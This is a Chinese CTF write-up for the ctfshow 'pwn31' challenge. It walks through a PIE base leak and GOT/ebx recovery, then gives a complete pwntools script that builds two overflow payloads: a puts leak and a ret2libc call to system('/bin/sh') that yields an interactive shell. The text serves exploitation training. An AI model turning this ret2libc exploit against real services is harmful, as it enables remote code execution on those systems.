pwn31

pwn31

  1. 先用IDA打开,并分析

    1

2

2.在用checksec检查一下
3

3.首先我们可以用泄露的main地址减去真实的main地址,就可以得到偏移值
4.我们先可以通IDA找到偏移值

6

5.通过got表中puts函数的地址打印出puts函数真实的地址
6.泄露出puts的地址,因为,在ctfshow函数了,函数的最后有一个mov ebx,DWORD PTR[ebp-0x4]
那么ebx是怎么得来的呢?是通过__x86.get_pc_thunk.bx这个东西得来的,这个东西的作用是将下一条指令的地址赋给ebx寄存器,然后通过加上一个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址。这个pwn程序的GOT表地址为0x1fc0,则ebx = base_addr + 0x1fc0,这个是摘取大佬的wp
5

7.先查pwn的got表的地址
4

8.然后就可以编写payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
from LibcSearcher import*
r = remote("ip",端口)
#r = process("./pwn")
elf=ELF("./pwn")
main_real_addr= int(r.recv().strip(),16)
print(hex(main_real_addr))
base_addr = main_real_addr - elf.sym["main"]
puts_plt = base_addr + elf.sym["puts"]
puts_got = base_addr + elf.got["puts"]
ctfshow_addr = base_addr + elf.sym["ctfshow"]
ebx = base_addr + 0x1fc0
payload1 = b'A'*132 + p32(ebx) + b'B'*4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
r.sendline(payload1)
puts_addr = u32(r.recv()[0:4])
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
payload2 = b'a'*140 + p32(system) + p32(ctfshow_addr) + p32(bin_sh )
r.sendline(payload2)
r.interactive()

得到flag
7